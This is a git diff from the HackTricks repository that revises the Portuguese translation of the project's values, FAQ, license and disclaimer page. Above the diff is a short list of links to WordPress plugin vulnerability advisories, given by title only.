- [OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability)
|
||||
- [FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/wp-marketing-automations/vulnerability/wordpress-recover-woocommerce-cart-abandonment-newsletter-email-marketing-marketing-automation-by-funnelkit-plugin-3-5-3-missing-authorization-to-unauthenticated-arbitrary-plugin-installation-vulnerability)
|
||||
- [Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/depicter/vulnerability/wordpress-depicter-slider-plugin-3-6-1-unauthenticated-sql-injection-via-s-parameter-vulnerability)
|
||||
- [Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/kubio/vulnerability/wordpress-kubio-ai-page-builder-plugin-2-5-1-unauthenticated-local-file-inclusion-vulnerability)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,4 +1,4 @@
|
||||
# Valores & FAQ do HackTricks
|
||||
# HackTricks Valores & FAQ
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -7,15 +7,15 @@
|
||||
> [!TIP]
|
||||
> Estes são os **valores do Projeto HackTricks**:
|
||||
>
|
||||
> - Dar acesso **GRÁTIS** a recursos de **hacking EDUCACIONAL** para **TODOS** na Internet.
|
||||
> - Oferecer acesso **GRATUITO** a recursos **EDUCACIONAIS de hacking** para **TODA** a Internet.
|
||||
> - Hacking é sobre aprender, e aprender deve ser o mais gratuito possível.
|
||||
> - O objetivo deste livro é servir como um **recurso educacional** abrangente.
|
||||
> - **ARMAZENAR** técnicas incríveis de **hacking** que a comunidade publica, dando aos **AUTORES** **ORIGINAIS** todos os **créditos**.
|
||||
> - **Não queremos os créditos de outras pessoas**, apenas queremos armazenar truques legais para todos.
|
||||
> - Também escrevemos as **nossas próprias pesquisas** no HackTricks.
|
||||
> - Em vários casos escreveremos apenas **no HackTricks um resumo das partes importantes** da técnica e iremos **encorajar o leitor a visitar o post original** para mais detalhes.
|
||||
> - **ORGANIZAR** todas as técnicas de **hacking** no livro para que seja **MAIS ACESSÍVEL**
|
||||
> - A equipe HackTricks dedicou milhares de horas gratuitamente **apenas para organizar o conteúdo** para que as pessoas possam **aprender mais rápido**
|
||||
> - O propósito deste livro é servir como um **recurso educacional** abrangente.
|
||||
> - **ARMAZENAR** técnicas incríveis de **hacking** que a comunidade publica dando a todos os **AUTORES** **ORIGINAIS** todos os **créditos**.
|
||||
> - **Nós não queremos os créditos de outras pessoas**, queremos apenas armazenar truques legais para todos.
|
||||
> - Também escrevemos **nossas próprias pesquisas** no HackTricks.
|
||||
> - Em vários casos escreveremos apenas **no HackTricks um resumo das partes importantes** da técnica e **encorajaremos o leitor a visitar a publicação original** para mais detalhes.
|
||||
> - **ORGANIZAR** todas as técnicas de hacking no livro para que seja **MAIS ACESSÍVEL**
|
||||
> - A equipe do HackTricks dedicou milhares de horas gratuitamente **apenas para organizar o conteúdo** para que as pessoas possam **aprender mais rápido**
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
@ -23,17 +23,17 @@
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Muito obrigado por esses recursos, como posso agradecer?**
|
||||
> - **Muito obrigado por estes recursos, como posso agradecer?**
|
||||
|
||||
Você pode agradecer publicamente às equipes do HackTricks por reunir todos esses recursos em um tweet mencionando [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
|
||||
Se você estiver especialmente grato, também pode [**patrocinar o projeto aqui**](https://github.com/sponsors/carlospolop).\
|
||||
Você pode agradecer publicamente às equipes do HackTricks por disponibilizarem todos esses recursos em um tweet mencionando [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
|
||||
Se você estiver especialmente agradecido, você também pode [**patrocinar o projeto aqui**](https://github.com/sponsors/carlospolop).\
|
||||
E não esqueça de **dar uma estrela nos projetos do Github!** (Encontre os links abaixo).
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Como posso contribuir para o projeto?**
|
||||
|
||||
Você pode **compartilhar novas dicas e truques com a comunidade ou corrigir bugs** que encontrar nos livros enviando um **Pull Request** para as páginas correspondentes no Github:
|
||||
Você pode **compartilhar novas dicas e truques com a comunidade ou corrigir bugs** que encontrar nos livros enviando um **Pull Request** para as páginas correspondentes do Github:
|
||||
|
||||
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
||||
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
||||
@ -50,8 +50,8 @@ Sim, você pode, mas **não esqueça de mencionar o(s) link(s) específico(s)**
|
||||
>
|
||||
> - **Como posso referenciar uma página do HackTricks?**
|
||||
|
||||
Contanto que o link da(s) página(s) de onde você retirou a informação apareça, isso é suficiente.\
|
||||
Se você precisar de um bibtex, pode usar algo como:
|
||||
Enquanto o link **da** página(s) de onde você retirou a informação aparecer, isso é suficiente.\
|
||||
Se você precisar de um bibtex, você pode usar algo como:
|
||||
```latex
|
||||
@misc{hacktricks-bibtexing,
|
||||
author = {"HackTricks Team" or the Authors name of the specific page/trick},
|
||||
@ -62,82 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
```
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **Posso copiar todo o conteúdo do HackTricks no meu blog?**
|
||||
>
|
||||
> **Eu preferiria que não**. Isso **não vai beneficiar ninguém**, pois todo o **conteúdo já está publicamente disponível** nos livros oficiais do HackTricks, de forma gratuita.
|
||||
>
|
||||
> Se você teme que ele vá desaparecer, apenas faça um fork no Github ou baixe-o; como eu disse, já é gratuito.
|
||||
>
|
||||
> - **Posso copiar todos os HackTricks para o meu blog?**
|
||||
|
||||
**Prefiro que não**. Isso **não vai beneficiar ninguém**, pois todo o **conteúdo já está disponível publicamente** nos livros oficiais do HackTricks gratuitamente.
|
||||
|
||||
Se você teme que isso vá desaparecer, simplesmente faça um fork no Github ou faça o download; como eu disse, já é gratuito.
|
||||
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **Por que vocês têm patrocinadores? Os livros HackTricks têm fins comerciais?**
|
||||
>
|
||||
> O primeiro **valor** do **HackTricks** é oferecer recursos educacionais de hacking **GRATUITOS** para **TODO** o mundo. A equipe do HackTricks dedicou **milhares de horas** para oferecer este conteúdo, novamente, **GRATUITAMENTE**.
|
||||
>
|
||||
> Se você acha que os livros HackTricks foram feitos para **fins comerciais**, você está **COMPLETAMENTE ERRADO**.
|
||||
>
|
||||
> Temos patrocinadores porque, mesmo que todo o conteúdo seja **GRATUITO**, queremos **oferecer à comunidade a possibilidade de valorizar nosso trabalho** caso desejem. Portanto, oferecemos às pessoas a opção de doar para HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), e empresas relevantes de cybersecurity podem patrocinar o HackTricks e **ter alguns anúncios** no livro, sendo os **anúncios** sempre colocados em locais onde sejam **visíveis** mas **não atrapalhem o processo de aprendizagem** caso alguém foque no conteúdo.
|
||||
>
|
||||
> Você não encontrará o HackTricks cheio de anúncios irritantes como outros blogs com muito menos conteúdo que o HackTricks, porque o HackTricks não foi feito para fins comerciais.
|
||||
>
|
||||
> - **Por que vocês têm patrocinadores? Os livros do HackTricks têm fins comerciais?**
|
||||
|
||||
O primeiro **valor** do **HackTricks** é oferecer recursos educacionais de hacking **GRÁTIS** para **TODO** o mundo. A equipe do HackTricks dedicou **milhares de horas** para oferecer este conteúdo, novamente, **GRATUITAMENTE**.
|
||||
|
||||
Se você acha que os livros do HackTricks foram feitos para **fins comerciais**, você está **COMPLETAMENTE ERRADO**.
|
||||
|
||||
Temos patrocinadores porque, mesmo que todo o conteúdo seja GRÁTIS, queremos **oferecer à comunidade a possibilidade de valorizar nosso trabalho** se assim desejarem. Portanto, oferecemos às pessoas a opção de doar para o HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), e **empresas relevantes de cybersecurity** podem patrocinar o HackTricks e **ter alguns anúncios** no livro, sendo os **anúncios** sempre colocados em locais onde os tornam **visíveis** mas **não atrapalham o processo de aprendizagem** caso alguém foque no conteúdo.
|
||||
|
||||
Você não encontrará o HackTricks cheio de anúncios irritantes como outros blogs com bem menos conteúdo, porque o HackTricks não foi feito para fins comerciais.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **O que devo fazer se alguma página do HackTricks estiver baseada no meu post do blog, mas não for referenciada?**
|
||||
>
|
||||
> **Lamentamos muito. Isso não deveria ter acontecido**. Por favor, avise-nos via Github issues, Twitter, Discord... envie o link da página do HackTricks com o conteúdo e o link do seu blog e **verificaremos e adicionaremos a referência o mais rápido possível**.
|
||||
>
|
||||
> - **O que devo fazer se alguma página do HackTricks estiver baseada no meu post do blog mas não estiver referenciada?**
|
||||
|
||||
**Sentimos muito. Isso não deveria ter acontecido**. Por favor, nos informe via Github issues, Twitter, Discord... o link da página do HackTricks com o conteúdo e o link do seu blog e **vamos verificar e adicionar o crédito o mais rápido possível**.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **O que devo fazer se houver conteúdo do meu blog no HackTricks e eu não quiser que ele esteja lá?**
|
||||
>
|
||||
> Observe que ter links para sua página no HackTricks:
|
||||
>
|
||||
> - Melhora o seu **SEO**
|
||||
> - O conteúdo é **traduzido para mais de 15 idiomas**, possibilitando que mais pessoas acessem esse conteúdo
|
||||
> - **HackTricks incentiva** as pessoas a **visitar sua página** (várias pessoas nos disseram que, desde que alguma página loro apareceu no HackTricks, elas receberam mais visitas)
|
||||
>
|
||||
> No entanto, se você ainda quiser que o conteúdo do seu blog seja removido do HackTricks, apenas nos avise e definitivamente **removeremos todo link para o seu blog**, e qualquer conteúdo baseado nele.
|
||||
>
|
||||
> - **O que devo fazer se houver conteúdo do meu blog no HackTricks e eu não quiser que esteja lá?**
|
||||
|
||||
Note que ter links para sua página no HackTricks:
|
||||
|
||||
- Melhora seu **SEO**
|
||||
- O conteúdo é **traduzido para mais de 15 idiomas**, possibilitando que mais pessoas acessem esse conteúdo
|
||||
- **HackTricks incentiva** as pessoas a **verem sua página** (várias pessoas nos disseram que, desde que alguma página delas apareceu no HackTricks, elas receberam mais visitas)
|
||||
|
||||
No entanto, se você ainda deseja que o conteúdo do seu blog seja removido do HackTricks, apenas nos avise e definitivamente **removeremos todo link para seu blog**, e qualquer conteúdo baseado nele.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **O que devo fazer se encontrar conteúdo copiado e colado no HackTricks?**
|
||||
>
|
||||
> Nós sempre **damos todo o crédito aos autores originais**. Se você encontrar uma página com conteúdo copiado sem a fonte original referenciada, nos avise e nós iremos **removê-la**, **adicionar o link antes do texto**, ou **reescrevê-la adicionando o link**.
|
||||
|
||||
## LICENÇA
|
||||
Nós sempre **damos todo o crédito aos autores originais**. Se você encontrar uma página com conteúdo copiado sem a fonte original referenciada, avise-nos e nós iremos **removê-la**, **adicionar o link antes do texto**, ou **reescrevê-la adicionando o link**.
|
||||
|
||||
## LICENSE
|
||||
|
||||
Copyright © Todos os direitos reservados, salvo indicação em contrário.
|
||||
|
||||
#### Resumo da Licença:
|
||||
|
||||
- Atribuição: Você é livre para:
|
||||
- Atribuição: Você tem liberdade para:
|
||||
- Compartilhar — copiar e redistribuir o material em qualquer meio ou formato.
|
||||
- Adaptar — remixar, transformar e criar a partir do material.
|
||||
|
||||
#### Termos Adicionais:
|
||||
|
||||
- Conteúdo de Terceiros: Algumas partes deste blog/livro podem incluir conteúdo de outras fontes, como trechos de outros blogs ou publicações. O uso de tal conteúdo é feito sob os princípios de uso justo (fair use) ou com permissão explícita dos respectivos detentores de direitos autorais. Por favor, consulte as fontes originais para informações específicas de licenciamento sobre conteúdo de terceiros.
|
||||
- Autoria: O conteúdo original criado pelo HackTricks está sujeito aos termos desta licença. Recomenda-se atribuir este trabalho ao autor ao compartilhar ou adaptar o conteúdo.
|
||||
- Conteúdo de Terceiros: Algumas partes deste blog/livro podem incluir conteúdo de outras fontes, como excertos de outros blogs ou publicações. O uso de tal conteúdo é feito sob os princípios de fair use ou com permissão explícita dos respectivos detentores de direitos autorais. Consulte as fontes originais para informações específicas de licenciamento relativas a conteúdo de terceiros.
|
||||
- Autoria: O conteúdo original criado pelo HackTricks está sujeito aos termos desta licença. Recomenda-se creditar este trabalho ao autor ao compartilhar ou adaptar o material.
|
||||
|
||||
#### Isenções:
|
||||
|
||||
- Uso Comercial: Para consultas sobre uso comercial deste conteúdo, por favor entre em contato comigo.
|
||||
- Uso Comercial: Para consultas relacionadas ao uso comercial deste conteúdo, por favor entre em contato comigo.
|
||||
|
||||
Esta licença não concede quaisquer direitos sobre marcas registradas ou branding em relação ao conteúdo. Todas as marcas e identidades visuais apresentadas neste blog/livro são propriedade de seus respectivos proprietários.
|
||||
Esta licença não concede quaisquer direitos de marca registrada ou de branding em relação ao conteúdo. Todas as marcas registradas e identidades visuais apresentadas neste blog/livro são propriedade de seus respectivos proprietários.
|
||||
|
||||
**Ao acessar ou usar o HackTricks, você concorda em obedecer aos termos desta licença. Se você não concorda com estes termos, por favor, não acesse este website.**
|
||||
**Ao acessar ou usar o HackTricks, você concorda em cumprir os termos desta licença. Se você não concorda com estes termos, por favor, não acesse este site.**
|
||||
|
||||
## **Aviso Legal**
|
||||
## **Disclaimer**
|
||||
|
||||
> [!CAUTION]
|
||||
> Este livro, 'HackTricks', destina-se apenas a fins educacionais e informativos. O conteúdo deste livro é fornecido no estado em que se encontra ('as is'), e os autores e editores não fazem representações ou garantias de qualquer tipo, expressas ou implícitas, sobre a completude, exatidão, confiabilidade, adequação ou disponibilidade das informações, produtos, serviços ou gráficos relacionados contidos neste livro. Qualquer confiança que você deposite em tais informações é, portanto, estritamente por sua conta e risco.
|
||||
> Este livro, 'HackTricks', destina-se apenas a fins educacionais e informativos. O conteúdo deste livro é fornecido no estado em que se encontra, e os autores e editores não fazem quaisquer declarações ou garantias de qualquer tipo, expressas ou implícitas, sobre a integridade, exatidão, confiabilidade, adequação ou disponibilidade das informações, produtos, serviços ou gráficos relacionados contidos neste livro. Qualquer confiança que você deposite em tais informações é, portanto, estritamente por sua conta e risco.
|
||||
>
|
||||
> Os autores e editores não serão, em hipótese alguma, responsáveis por qualquer perda ou dano, incluindo, sem limitação, perda ou dano indireto ou consequente, ou qualquer perda ou dano decorrente de perda de dados ou lucros resultantes do uso deste livro.
|
||||
> Em nenhuma hipótese os autores e editores serão responsabilizados por qualquer perda ou dano, incluindo, sem limitação, perda ou dano indireto ou consequencial, ou qualquer perda ou dano decorrente de perda de dados ou lucros decorrentes de, ou em conexão com, o uso deste livro.
|
||||
>
|
||||
> Além disso, as técnicas e dicas descritas neste livro são fornecidas apenas para fins educacionais e informativos, e não devem ser usadas para atividades ilegais ou maliciosas. Os autores e editores não endossam nem apoiam quaisquer atividades ilegais ou antiéticas, e qualquer uso da informação contida neste livro é de responsabilidade e risco exclusivo do usuário.
|
||||
> Ademais, as técnicas e dicas descritas neste livro são fornecidas apenas para fins educacionais e informativos, e não devem ser usadas para quaisquer atividades ilegais ou maliciosas. Os autores e editores não apoiam nem incentivam quaisquer atividades ilegais ou antiéticas, e qualquer uso das informações contidas neste livro é de responsabilidade e risco do usuário.
|
||||
>
|
||||
> O usuário é o único responsável por quaisquer ações tomadas com base nas informações contidas neste livro, e deve sempre procurar aconselhamento e assistência profissional ao tentar implementar quaisquer técnicas ou dicas aqui descritas.
|
||||
> O usuário é o único responsável por quaisquer ações tomadas com base nas informações contidas neste livro, e deve sempre buscar aconselhamento e assistência profissional ao tentar implementar quaisquer técnicas ou dicas aqui descritas.
|
||||
>
|
||||
> Ao usar este livro, o usuário concorda em isentar os autores e editores de qualquer e toda responsabilidade por quaisquer danos, perdas ou prejuízos que possam resultar do uso deste livro ou de qualquer informação contida nele.
|
||||
> Ao usar este livro, o usuário concorda em liberar os autores e editores de qualquer e toda responsabilidade por quaisquer danos, perdas ou prejuízos que possam resultar do uso deste livro ou de qualquer informação aqui contida.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user